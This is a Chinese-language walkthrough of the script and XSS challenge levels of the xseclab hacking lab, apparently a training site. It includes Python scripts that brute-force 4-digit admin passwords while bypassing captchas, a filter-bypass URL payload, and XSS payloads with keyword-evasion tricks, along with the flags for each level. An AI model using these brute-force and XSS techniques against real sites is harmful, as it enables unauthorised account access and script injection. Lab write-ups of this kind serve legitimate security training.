网络安全实验室脚本关教学文档
1. Key查找
目标URL: http://lab1.xseclab.com/xss1_30ac8668cd453e7e387c76b132b140bb/index.php
解决方法:
- 使用Burp Suite抓包
- 将请求发送到重放模块(Repeater)
- 点击"Go"按钮执行请求
- 在响应中查找key
关键点:
- 直接访问页面可能看不到key
- 需要通过抓包工具查看完整响应
获取的key: yougotit_script_now
2. 快速口算
目标URL: http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php
解决方法:
使用Python脚本自动计算并提交结果:
import requests, re
url = 'http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
s = requests.session()
c = s.get(url).content
c = c.decode('utf-8') # python3一定要加上这一句
r = re.findall(r'[\d]{2,}', c)
r = int(r[0]) * int(r[1]) + int(r[2]) * (int(r[3]) + int(r[4]))
c1 = s.post(url, data={'v': r}).content
print(c1.decode('utf-8'))
关键点:
- 使用正则表达式提取页面中的数字
- 按照特定公式计算(第一个数×第二个数 + 第三个数×(第四个数+第五个数))
- 自动提交计算结果
获取的key: 123iohHKHJ%^&*(jkh
3. 空题目
解决方法:
- 尝试输入
null作为答案
4. 弹窗Key获取
目标URL: http://lab1.xseclab.com/xss3_5dcdde90bbe55087eb3514405972b1a6/index.php
解决方法:
- 审查页面元素发现大量混淆的JavaScript代码
- 提取关键函数并修改,删除干扰函数
- 创建本地HTML文件执行修改后的代码
关键代码:
<script>
var a = function() {
var b = function(p,a,c,k,e,r) {
// 此处为解混淆后的代码
// ...
}('混淆的代码字符串',62,98,'|return|function|String|if|replace|while|fromCharCode|29|new|RegExp|toString|36|parseInt|35|split|eval|62|75|53|var|slakfj|teslkjsdflk|for'.split('|'),0,{});
var d = eval(b);
alert('key is first 14 chars' + '\n' + d.substr(0,14));
}()
</script>
关键点:
- 需要分析并解混淆JavaScript代码
- 提取关键函数执行
- key只取前14个字符
获取的key: slakfjteslkjsd
5. 逗比验证码第一期
目标URL: http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php
解决方法:
- 观察发现验证码可以重复使用
- 使用Python脚本暴力破解4位数密码(1000-9999)
Python脚本:
import requests
import re
s = requests.Session()
url = "http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php"
head = {'cookie': 'PHPSESSID=21949ea3cea7b84b9bf57f8d4b449a63'}
for num in range(1000, 10000):
data = {'username': 'admin', 'pwd': num, 'vcode': '99QZ', 'submit': 'submit'}
res = s.post(url, data=data, headers=head).content.decode('utf-8')
if u'pwd error' in res:
print('正在尝试', num, '-----密码错误!')
if u'vcode error' in res:
print('验证码错误,请重新查看并输入正确验证码!')
if u'error' not in res:
print(num, '-------正确')
print(res)
break
替代方法:
- 使用Burp Suite进行爆破
关键点:
- 需要保持会话(cookie)
- 验证码可以重复使用
- 密码为4位数字
获取的key: LJLJL789sdf#@sd (密码为1238)
6. 逗比验证码第二期
目标URL: http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php
解决方法:
- 发现可以将验证码参数设置为空
- 使用Python脚本暴力破解4位数密码
Python脚本:
import requests
import re
s = requests.Session()
url = "http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php"
head = {'cookie': 'PHPSESSID=844e5142519e671ce9180b9a47588675'}
for num in range(1000, 10000):
data = {'username': 'admin', 'pwd': num, 'vcode': '', 'submit': 'submit'}
res = s.post(url, data=data, headers=head).content.decode('utf-8')
if u'pwd error' in res:
print('正在尝试', num, '-----密码错误!')
if u'vcode error' in res:
print('验证码错误,请重新查看并输入正确验证码!')
if u'error' not in res:
print(num, '-------正确')
print(res)
break
关键点:
- 验证码参数可留空绕过
- 密码为4位数字
获取的key: LJLJL789ss33fasvxcvsdf#@sd (密码为1228)
7. 逗比验证码第三期(SESSION)
目标URL: http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php
解决方法:
- 需要保持会话
- 使用Python脚本暴力破解4位数密码
Python脚本:
import requests
s = requests.Session()
url = "http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php"
head = {'session': 'PHPSESSID=d369965b1284d87405231a4a5763cddc'}
for num in range(1000, 10000):
data = {'username': 'admin', 'pwd': num, 'vcode': '', 'submit': 'submit'}
res = s.post(url, data=data, headers=head).content.decode('utf-8')
if u'pwd error' in res:
print('正在尝试', num, '------密码错误!')
if u'vcode error' in res:
print('验证码错误!')
break
if u'error' not in res:
print(num, '----密码破解成功!')
print(res)
break
关键点:
- 必须保持会话一致性
- 验证码可留空绕过
- 密码为4位数字
获取的key: LJLJLfuckvcodesdf#@sd (密码为1298)
8. 微笑过关
目标URL: http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php
解决方法:
- 分析源代码发现需要满足多个条件
- 构造特殊payload绕过过滤
Payload构造:
http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?^%5f^=data:,('◡◡')
关键点:
- 需要对"^_^"参数赋值但参数名不能包含下划线(使用URL编码%5f)
- 使用data协议绕过文件存在检查
- 值必须为"('◡◡')"
获取的key: hkjasfhsa*&IUHKUH
9. 逗比手机验证码
目标URL: http://lab1.xseclab.com/vcode5_mobi_5773f3def9f77f439e058894cefc42a8/
解决方法:
- 首次获取验证码并记下(如5141)
- 返回重新获取验证码
- 使用新手机号和新验证码登录
关键点:
- 验证码与手机号绑定
- 需要获取两次验证码
获取的key: LJLJLGod!@@sd
10. 基情燃烧的岁月
目标URL: http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/
解决方法:
- 使用Burp Suite爆破3位数密码(首位不为0)
- 获取前任手机号:13399999999
- 用该手机号再次爆破获取flag
关键点:
- 密码为3位数(100-999)
- 需要分两步操作
获取的flag: {LKK8*(!@@sd}
11. 验证码识别
目标URL: http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/index.php
解决方法:
- 使用PKAV HTTP Fuzzer工具
- Burp抓包并复制到PKAV
- 设置验证码识别和重放选项
- 按响应长度排序结果
关键点:
- 需要自动化工具处理验证码
- 按响应长度差异识别正确结果
获取的flag: {133dbc85dda4aa**)}
12. XSS基础关
目标URL: http://lab1.xseclab.com/realxss1_f123c17dd9c363334670101779193998/index.php
解决方法:
- 查看源代码中的xss_check.php
- 构造简单XSS payload
Payload:
<script>alert(HackingLab)</script>
关键点:
- 无过滤的基本XSS注入
获取的key: myxssteststart!
13. XSS基础2:简单绕过
目标URL: http://lab1.xseclab.com/realxss2_bcedaba7e8618cdfb51178765060fc7d/index.php
解决方法:
- 使用img标签的onerror事件绕过
Payload:
关键点:
- 使用替代标签和事件处理器绕过基本过滤
获取的key: xss2test2you
14. XSS基础3:检测与构造
目标URL: http://lab1.xseclab.com/realxss3_9b28b0ff93d0b0099f5ac7f8bad3f368/index.php
解决方法:
- 利用输入处理逻辑缺陷
- 构造特殊payload
Payload:
alert' onmouseover=alert(HackingLab)>
关键点:
- 利用敏感字符串检测逻辑缺陷
- 使用onmouseover事件触发
获取的key: xss3test2youOK_striptag
15. Principle很重要的XSS
目标URL: http://lab1.xseclab.com/realxss4_9bc1559999a87a9e0968ad1d546dfe33/index.php
解决方法:
- 分析过滤机制
- 使用字符插入绕过关键词检测
Payload:
javasc<c>ript:al<c>ert(HackingLab)
或
' onmouseover=al<c>ert(HackingLab)>
关键点:
- 使用
标签分割关键词绕过过滤 - 利用空格处理特性
- 需要多种绕过尝试
获取的key: xss4isnoteasy